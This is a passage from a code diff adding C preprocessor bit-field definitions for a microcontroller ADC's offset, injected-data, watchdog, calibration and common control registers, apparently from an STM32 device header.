ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC offset number 2 channel selection */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR2_OFFSET2_EN_Pos (31U) +#define ADC_OFR2_OFFSET2_EN_Msk (0x1UL << ADC_OFR2_OFFSET2_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_OFFSET2_EN ADC_OFR2_OFFSET2_EN_Msk /*!< ADC offset number 2 enable */ + +/******************** Bit definition for ADC_OFR3 register ******************/ +#define ADC_OFR3_OFFSET3_Pos (0U) +#define ADC_OFR3_OFFSET3_Msk (0xFFFUL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000FFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC offset number 3 offset level */ + +#define ADC_OFR3_OFFSETPOS_Pos (24U) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 3 positive */ +#define ADC_OFR3_SATEN_Pos (25U) +#define ADC_OFR3_SATEN_Msk (0x1UL << ADC_OFR3_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_SATEN ADC_OFR3_SATEN_Msk /*!< ADC offset number 3 saturation enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (26U) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC offset number 3 channel selection */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR3_OFFSET3_EN_Pos (31U) +#define ADC_OFR3_OFFSET3_EN_Msk (0x1UL << ADC_OFR3_OFFSET3_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_OFFSET3_EN ADC_OFR3_OFFSET3_EN_Msk /*!< ADC offset number 3 enable */ + +/******************** Bit definition for ADC_OFR4 register ******************/ +#define ADC_OFR4_OFFSET4_Pos (0U) +#define ADC_OFR4_OFFSET4_Msk (0xFFFUL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000FFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC offset number 4 offset level */ + +#define ADC_OFR4_OFFSETPOS_Pos (24U) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 4 positive */ +#define ADC_OFR4_SATEN_Pos (25U) +#define ADC_OFR4_SATEN_Msk (0x1UL << ADC_OFR4_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_SATEN ADC_OFR4_SATEN_Msk /*!< ADC offset number 4 saturation enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (26U) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC offset number 4 channel selection */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR4_OFFSET4_EN_Pos (31U) +#define ADC_OFR4_OFFSET4_EN_Msk (0x1UL << ADC_OFR4_OFFSET4_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_OFFSET4_EN ADC_OFR4_OFFSET4_EN_Msk /*!< ADC offset number 4 enable */ + +/******************** Bit definition for ADC_JDR1 register ******************/ +#define ADC_JDR1_JDATA_Pos (0U) +#define ADC_JDR1_JDATA_Msk (0xFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC group injected sequencer rank 1 conversion data */ + +/******************** Bit definition for ADC_JDR2 register ******************/ +#define ADC_JDR2_JDATA_Pos (0U) +#define ADC_JDR2_JDATA_Msk (0xFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC group injected sequencer rank 2 conversion data */ + +/******************** Bit definition for ADC_JDR3 register ******************/ +#define ADC_JDR3_JDATA_Pos (0U) +#define ADC_JDR3_JDATA_Msk (0xFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC group injected sequencer rank 3 conversion data */ + +/******************** Bit definition for ADC_JDR4 register ******************/ +#define ADC_JDR4_JDATA_Pos (0U) +#define ADC_JDR4_JDATA_Msk (0xFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC group injected sequencer rank 4 conversion data */ + +/******************** Bit definition for ADC_AWD2CR register ****************/ +#define ADC_AWD2CR_AWD2CH_Pos (0U) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x0007FFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC analog watchdog 2 monitored channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_AWD3CR register ****************/ +#define ADC_AWD3CR_AWD3CH_Pos (0U) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x0007FFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC analog watchdog 3 monitored channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD2CH_19 (0x80000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_DIFSEL register ****************/ +#define ADC_DIFSEL_DIFSEL_Pos (0U) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC channel differential or single-ended mode */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ***************/ +#define ADC_CALFACT_CALFACT_S_Pos (0U) +#define ADC_CALFACT_CALFACT_S_Msk (0x7FUL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x0000007F */ +#define ADC_CALFACT_CALFACT_S ADC_CALFACT_CALFACT_S_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC_CALFACT_CALFACT_S_0 (0x01UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_CALFACT_S_1 (0x02UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_CALFACT_S_2 (0x04UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_CALFACT_S_3 (0x08UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_CALFACT_S_4 (0x10UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_CALFACT_S_5 (0x20UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_CALFACT_S_6 (0x40UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000030 */ + +#define ADC_CALFACT_CALFACT_D_Pos (16U) +#define ADC_CALFACT_CALFACT_D_Msk (0x7FUL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x007F0000 */ +#define ADC_CALFACT_CALFACT_D ADC_CALFACT_CALFACT_D_Msk /*!< ADC calibration factor in differential mode */ +#define ADC_CALFACT_CALFACT_D_0 (0x01UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_CALFACT_D_1 (0x02UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT_CALFACT_D_2 (0x04UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT_CALFACT_D_3 (0x08UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT_CALFACT_D_4 (0x10UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT_CALFACT_D_5 (0x20UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT_CALFACT_D_6 (0x40UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00300000 */ + +/******************** Bit definition for ADC_OR register *****************/ +#define ADC_OR_OP0_Pos (0U) +#define ADC_OR_OP0_Msk (0x01UL << ADC_OR_OP0_Pos) /*!< 0x00000001 */ +#define ADC_OR_OP0 ADC_OR_OP0_Msk /*!< ADC Option bit 0 */ +#define ADC_OR_OP1_Pos (1U) +#define ADC_OR_OP1_Msk (0x01UL << ADC_OR_OP1_Pos) /*!< 0x00000001 */ +#define ADC_OR_OP1 ADC_OR_OP1_Msk /*!< ADC Option bit 1 */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register *******************/ +#define ADC_CSR_ADRDY_MST_Pos (0U) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< ADC multimode master ready flag */ +#define ADC_CSR_EOSMP_MST_Pos (1U) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< ADC multimode master group regular end of sampling flag */ +#define ADC_CSR_EOC_MST_Pos (2U) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< ADC multimode master group regular end of unitary conversion flag */ +#define ADC_CSR_EOS_MST_Pos (3U) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< ADC multimode master group regular end of sequence conversions flag */ +#define ADC_CSR_OVR_MST_Pos (4U) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< ADC multimode master group regular overrun flag */ +#define ADC_CSR_JEOC_MST_Pos (5U) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< ADC multimode master group injected end of unitary conversion flag */ +#define ADC_CSR_JEOS_MST_Pos (6U) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< ADC multimode master group injected end of sequence conversions flag */ +#define ADC_CSR_AWD1_MST_Pos (7U) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< ADC multimode master analog watchdog 1 flag */ +#define ADC_CSR_AWD2_MST_Pos (8U) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< ADC multimode master analog watchdog 2 flag */ +#define ADC_CSR_AWD3_MST_Pos (9U) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< ADC multimode master analog watchdog 3 flag */ +#define ADC_CSR_JQOVF_MST_Pos (10U) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< ADC multimode master group injected contexts queue overflow flag */ + +#define ADC_CSR_ADRDY_SLV_Pos (16U) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< ADC multimode slave ready flag */ +#define ADC_CSR_EOSMP_SLV_Pos (17U) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< ADC multimode slave group regular end of sampling flag */ +#define ADC_CSR_EOC_SLV_Pos (18U) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< ADC multimode slave group regular end of unitary conversion flag */ +#define ADC_CSR_EOS_SLV_Pos (19U) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< ADC multimode slave group regular end of sequence conversions flag */ +#define ADC_CSR_OVR_SLV_Pos (20U) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< ADC multimode slave group regular overrun flag */ +#define ADC_CSR_JEOC_SLV_Pos (21U) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< ADC multimode slave group injected end of unitary conversion flag */ +#define ADC_CSR_JEOS_SLV_Pos (22U) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< ADC multimode slave group injected end of sequence conversions flag */ +#define ADC_CSR_AWD1_SLV_Pos (23U) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< ADC multimode slave analog watchdog 1 flag */ +#define ADC_CSR_AWD2_SLV_Pos (24U) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< ADC multimode slave analog watchdog 2 flag */ +#define ADC_CSR_AWD3_SLV_Pos (25U) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< ADC multimode slave analog watchdog 3 flag */ +#define ADC_CSR_JQOVF_SLV_Pos (26U) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< ADC multimode slave group injected contexts queue overflow flag */ + +/******************** Bit definition for ADC_CCR register *******************/ +#define ADC_CCR_DUAL_Pos (0U) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< ADC multimode mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8U) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< ADC multimode delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DMACFG_Pos (13U) +#define ADC_CCR_DMACFG_Msk (0x1UL << ADC_CCR_DMACFG_Pos) /*!< 0x00002000 */ +#define ADC_CCR_DMACFG ADC_CCR_DMACFG_Msk /*!< ADC multimode DMA transfer configuration */ + +#define ADC_CCR_MDMA_Pos (14U) +#define ADC_CCR_MDMA_Msk (0x3UL << ADC_CCR_MDMA_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_MDMA ADC_CCR_MDMA_Msk /*!< ADC multimode DMA transfer enable */ +#define ADC_CCR_MDMA_0 (0x1UL << ADC_CCR_MDMA_Pos) /*!< 0x00004000 */ +#define ADC_CCR_MDMA_1 (0x2UL << ADC_CCR_MDMA_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_CKMODE_Pos (16U) +#define ADC_CCR_CKMODE_Msk (0x3UL << ADC_CCR_CKMODE_Pos) /*!< 0x00030000 */ +#define ADC_CCR_CKMODE ADC_CCR_CKMODE_Msk /*!< ADC common clock source and prescaler (prescaler only for clock source synchronous) */ +#define ADC_CCR_CKMODE_0 (0x1UL << ADC_CCR_CKMODE_Pos) /*!< 0x00010000 */ +#define ADC_CCR_CKMODE_1 (0x2UL << ADC_CCR_CKMODE_Pos) /*!< 0x00020000 */ + +#define ADC_CCR_PRESC_Pos (18U) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC common clock prescaler, only for clock source asynchronous */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22U) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< ADC internal path to VrefInt enable */ +#define ADC_CCR_TSEN_Pos (23U) +#define ADC_CCR_TSEN_Msk (0x1UL << ADC_CCR_TSEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_TSEN 